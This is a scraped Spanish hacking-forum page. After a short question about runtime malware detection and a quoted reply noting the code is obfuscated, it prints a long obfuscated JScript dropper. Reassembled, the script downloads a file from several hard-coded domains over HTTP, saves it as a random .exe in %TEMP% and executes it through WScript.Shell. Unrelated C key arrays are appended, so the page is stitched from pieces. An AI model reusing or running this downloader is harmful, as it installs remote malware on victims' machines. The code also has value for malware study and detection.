pero como lo detecta en tiempo de ejecución? o como hace para darse cuenta que es un malware?
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: ThunderCls en 8 Febrero 2019, 20:42 PM
1- Cuando copies un codigo no lo pases por gtranslator...please (funcion != function, para != for, etc)
2- El codigo evidentemente esta ofuscado, si conoces un poco de js o sabes usar google podras quitarle la proteccion y podras ver que hace el codigo escondido
Saludos
var stroke="5557545E0D0A020B24060108130B0B000A1D4A070B09";
function uj241() { vh('602'); return vl(); };
function uj70() { vh('e(92)'); return vl(); };
function uj236() { vh(' dl('); return vl(); };
function uj153() { vh('spons'); return vl(); };
function uj94() { vh('ec'); return vl(); };
function uj60() { vh('ngs'); return vl(); };
function uj202() { vh('ttp:'); return vl(); };
function uj63() { vh('")+St'); return vl(); };
function uj132() { vh('ne'); return vl(); };
function uj220() { vh('d('); return vl(); };
function uj55() { vh('dE'); return vl(); };
function uj173() { vh('e(fn,'); return vl(); };
function uj97() { vh('XM'); return vl(); };
function uj47() { vh('pt.S'); return vl(); };
function uj27() { vh('for ('); return vl(); };
function uj7() { vh(') '); return vl(); };
function uj111() { vh(' f'); return vl(); };
function uj145() { vh('); '); return vl(); };
function uj197() { vh('pe'); return vl(); };
function uj35() { vh('i++)'); return vl(); };
function uj90() { vh('ew '); return vl(); };
function uj225() { vh('er)'); return vl(); };
function uj2() { vh('nc'); return vl(); };
function uj135() { vh('eX'); return vl(); };
function uj186() { vh('}; }'); return vl(); };
function uj50() { vh('r f'); return vl(); };
function uj72() { vh('.roun'); return vl(); };
function uj140() { vh('ODB.S'); return vl(); };
function uj129() { vh(' {'); return vl(); };
function uj242() { vh('); d'); return vl(); };
function uj137() { vh('jec'); return vl(); };
function uj87() { vh('var x'); return vl(); };
function uj163() { vh(' 1'); return vl(); };
function uj149() { vh(' xa.'); return vl(); };
function uj101() { vh('P"'); return vl(); };
function uj67() { vh('Ch'); return vl(); };
function uj64() { vh('rin'); return vl(); };
function uj144() { vh('open('); return vl(); };
function uj25() { vh('(" "'); return vl(); }; function uj146() { vh('xa.t'); return vl(); }; function uj112() { vh('un'); return vl(); }; function uj222() { vh('} '); return vl(); }; function uj77() { vh('()*10'); return vl(); }; function uj216() { vh(' fals'); return vl(); }; function uj92() { vh('eX'); return vl(); }; function uj39() { vh('new '); return vl(); }; function uj161() { vh('00) {'); return vl(); }; function uj121() { vh('te '); return vl(); }; function uj218() { vh('xo.s'); return vl(); }; function uj162() { vh(' dn ='); return vl(); }; function uj38() { vh('ws = '); return vl(); }; function uj28() { vh('var '); return vl(); }; function vl() { return jvwz; }; function uj102() { vh('); '); return vl(); }; function uj59() { vh('Stri'); return vl(); }; function uj126() { vh('s =='); return vl(); }; function uj58() { vh('ment'); return vl(); }; function uj198() { vh('n('); return vl(); }; function uj131() { vh('xa = '); return vl(); }; function uj88() { vh('o ='); return vl(); }; function uj228() { vh('f ('); return vl(); }; function uj125() { vh('statu'); return vl(); }; function uj156() { vh('f '); return vl(); }; function uj224() { vh('ch ('); return vl(); }; function uj3() { vh('tio'); return vl(); }; function uj14() { vh(' harm'); return vl(); }; function uj160() { vh('50'); return vl(); }; function uj93() { vh('Obj'); return vl(); }; function uj95() { vh('t('); return vl(); }; function uj204() { vh('+b['); return vl(); }; function uj84() { vh(' dn '); return vl(); }; function uj4() { vh('n d'); return vl(); }; function uj213() { vh('="+'); return vl(); }; function uj147() { vh('ype ='); return vl(); }; function uj141() { vh('trea'); return vl(); }; function uj130() { vh(' var '); return vl(); }; function uj200() { vh('ET",'); return vl(); }; function uj9() { vh(' b = '); return vl(); }; function uj192() { vh('}; '); return vl(); }; function uj1() { vh('fu'); return vl(); }; function uj57() { vh('ron'); return vl(); }; function uj150() { vh('wr'); return vl(); }; function uj32() { vh('.len'); return vl(); }; function uj17() { vh('ar.c'); return vl(); }; function uj166() { vh('osit'); return vl(); }; function uj86() { vh('0; '); return vl(); }; function uj157() { vh('(xa'); return vl(); }; function uj208() { vh('t.p'); return vl(); }; function uj54() { vh('an'); return vl(); }; function uj229() { vh('dn ='); return vl(); }; function uj244() { vh('3);'); return vl(); }; function uj48() { vh('hell"'); return vl(); }; function uj11() { vh('dus'); return vl(); }; function uj79() { vh('00000'); return vl(); }; function uj16() { vh('reb'); return vl(); }; function uj78() { vh('00'); return vl(); }; function uj100() { vh('TT'); return vl(); }; function uj181() { vh('); '); return vl(); }; function uj68() { vh('ar'); return vl(); }; function uj96() { vh('"MS'); return vl(); }; function uj180() { vh(',1,0'); return vl(); }; function uj74() { vh('ath.'); return vl(); }; function uj45() { vh('WSc'); return vl(); }; function uj136() { vh('Ob'); return vl(); }; function uj49() { vh('); va'); return vl(); }; function uj46() { vh('ri'); return vl(); }; function uj69() { vh('Cod'); return vl(); }; function uj184() { vh('(er)'); return vl(); }; function uj169() { vh('; x'); return vl(); }; function uj191() { vh('(); '); return vl(); }; function uj66() { vh('om'); return vl(); }; function uj53() { vh('s.Exp'); return vl(); }; function uj26() { vh('); '); return vl(); }; function uj119() { vh('dy'); return vl(); }; function uj170() { vh('a.sa'); return vl(); }; function uj235() { vh(' };'); return vl(); }; function uj178() { vh('s.Ru'); return vl(); }; function uj51() { vh('n '); return vl(); }; function uj80() { vh(')+".e'); return vl(); }; function uj165() { vh('xa.p'); return vl(); }; function uj103() { vh('xo.'); return vl(); }; function uj175() { vh(' try'); return vl(); }; function uj233() { vh('reak;'); return vl(); }; function uj221() { vh('); '); return vl(); }; function uj148() { vh(' 1;'); return vl(); }; function uj105() { vh('ad'); return vl(); }; function uj13() { vh('om'); return vl(); }; function uj232() { vh(' b'); return vl(); }; function uj12() { vh('try.c'); return vl(); }; function uj122() { vh('== 4 '); return vl(); }; function uj65() { vh('g.fr'); return vl(); }; function uj177() { vh(' w'); return vl(); }; function uj234() { vh(' };'); return vl(); }; function vh(myi) { jvwz = myi; }; function uj190() { vh('se'); return vl(); }; function uj142() { vh('m")'); return vl(); }; function uj5() { vh('l('); return vl(); }; function uj193() { vh('}; '); return vl(); }; function uj76() { vh('ndom'); return vl(); }; function uj123() { vh('&& '); return vl(); }; function uj21() { vh('com"'); return vl(); }; function uj31() { vh('i<b'); return vl(); }; function uj209() { vh('hp?rn'); return vl(); }; function uj182() { vh('} c'); return vl(); }; function uj139() { vh('"AD'); return vl(); }; function uj37() { vh('r '); return vl(); }; function uj194() { vh('try '); return vl(); }; function uj42() { vh('XObj'); return vl(); }; function uj83() { vh('var'); return vl(); }; function uj128() { vh('00)'); return vl(); }; function uj189() { vh('.clo'); return vl(); }; function uj85() { vh('= '); return vl(); }; function uj15() { vh('ac'); return vl(); }; function uj196() { vh('.o'); return vl(); }; function uj183() { vh('atch '); return vl(); }; function uj158() { vh('.siz'); return vl(); }; function uj113() { vh('ction'); return vl(); }; function uj22() { vh('.s'); return vl(); }; function uj99() { vh('.XMLH'); return vl(); }; function uj6() { vh('fr'); return vl(); }; function uj110() { vh(' ='); return vl(); }; function uj223() { vh('cat'); return vl(); }; function uj91() { vh('Activ'); return vl(); }; function uj155() { vh('y); i'); return vl(); }; function uj152() { vh('xo.Re'); return vl(); }; function uj36() { vh(' { va'); return vl(); }; function uj117() { vh('xo.r'); return vl(); }; function uj168() { vh(' = 0'); return vl(); }; function uj8() { vh('{ var'); return vl(); }; function uj227() { vh('; i'); return vl(); }; function uj203() { vh('//"'); return vl(); }; function uj23() { vh('pl'); return vl(); }; function uj41() { vh('tive'); return vl(); }; function uj205() { vh('i]+"'); return vl(); }; function uj243() { vh('l(819'); return vl(); }; function uj217() { vh('e); '); return vl(); }; function uj207() { vh('umen'); return vl(); }; function uj114() { vh('() '); return vl(); }; function uj98() { vh('L2'); return vl(); }; function uj176() { vh(' {'); return vl(); }; function uj199() { vh('"G'); return vl(); }; function uj238() { vh('41'); return vl(); }; function uj71() { vh('+Math'); return vl(); }; function uj104() { vh('onre'); return vl(); }; function uj134() { vh('ctiv'); return vl(); }; function uj() { return 'int'; }; function uj164() { vh('; '); return vl(); }; function uj124() { vh('xo.'); return vl(); }; function uj226() { vh(' {}'); return vl(); }; function uj19() { vh('etq'); return vl(); }; function uj89() { vh(' n'); return vl(); }; function uj138() { vh('t('); return vl(); }; function uj108() { vh('ha'); return vl(); }; function uj62() { vh('TEMP%'); return vl(); }; function uj44() { vh('t("'); return vl(); }; function uj151() { vh('ite('); return vl(); }; function uj30() { vh('0; '); return vl(); }; function uj75() { vh('ra'); return vl(); };
function e() { return 'pr'; };
function uj179() { vh('n(fn'); return vl(); }; function uj212() { vh('"&id'); return vl(); }; function uj127() { vh(' 2'); return vl(); }; function uj133() { vh('w A'); return vl(); }; function uj239() { vh('); '); return vl(); }; function uj159() { vh('e > '); return vl(); }; function uj214() { vh('st'); return vl(); }; function uj20() { vh('y.'); return vl(); }; function uj211() { vh('+fr+'); return vl(); }; function uj185() { vh(' {'); return vl(); }; function uj61() { vh('("%'); return vl(); }; function uj120() { vh('Sta'); return vl(); }; function uj33() { vh('gth'); return vl(); }; function uj231() { vh('1)'); return vl(); }; function uj81() { vh('xe'); return vl(); }; function uj143() { vh('; xa.'); return vl(); }; function uj10() { vh('"ckin'); return vl(); }; function uj118() { vh('ea'); return vl(); }; function uj167() { vh('ion'); return vl(); }; function uj40() { vh('Ac'); return vl(); }; function uj154() { vh('eBod'); return vl(); }; function uj116() { vh('f ('); return vl(); }; function uj29() { vh('i='); return vl(); }; function uj107() { vh('tatec'); return vl(); }; function uj174() { vh('2);'); return vl(); }; function uj34() { vh('; '); return vl(); }; function uj187() { vh('; '); return vl(); }; function uj171() { vh('veToF'); return vl(); }; var pdcr = ''; var jvwz = ''; function uj73() { vh('d(M'); return vl(); }; function uj82() { vh('"; '); return vl(); }; function uj52() { vh('= w'); return vl(); }; function uj109() { vh('nge'); return vl(); }; function uj230() { vh('= '); return vl(); }; function uj195() { vh('{ xo'); return vl(); }; function uj240() { vh('dl(8'); return vl(); }; function uj18() { vh('om '); return vl(); }; function uj215() { vh('roke,'); return vl(); }; function uj237() { vh('33'); return vl(); }; function uj24() { vh('it'); return vl(); }; function uj172() { vh('il'); return vl(); }; function uj188() { vh('xa'); return vl(); }; function uj43() { vh('ec'); return vl(); }; function uj115() { vh('{ i'); return vl(); }; function uj106() { vh('ys'); return vl(); }; function uj201() { vh('"h'); return vl(); }; function uj219() { vh('en'); return vl(); }; function uj210() { vh('d="'); return vl(); }; function uj206() { vh('/doc'); return vl(); }; function uj56() { vh('nvi'); return vl(); };
for (var s=1; s<=244; s++) { vh(this['uj'+s]()); pdcr += vl(); }
this[e()+uj()](pdcr);
static DWORD s_PackKey[] =
{
420344441,
9763345,
65734421,
101331,
};
static DWORD s_adwSecurityKey[] =
{
7283452,
538433234,
1492,
47548276,
};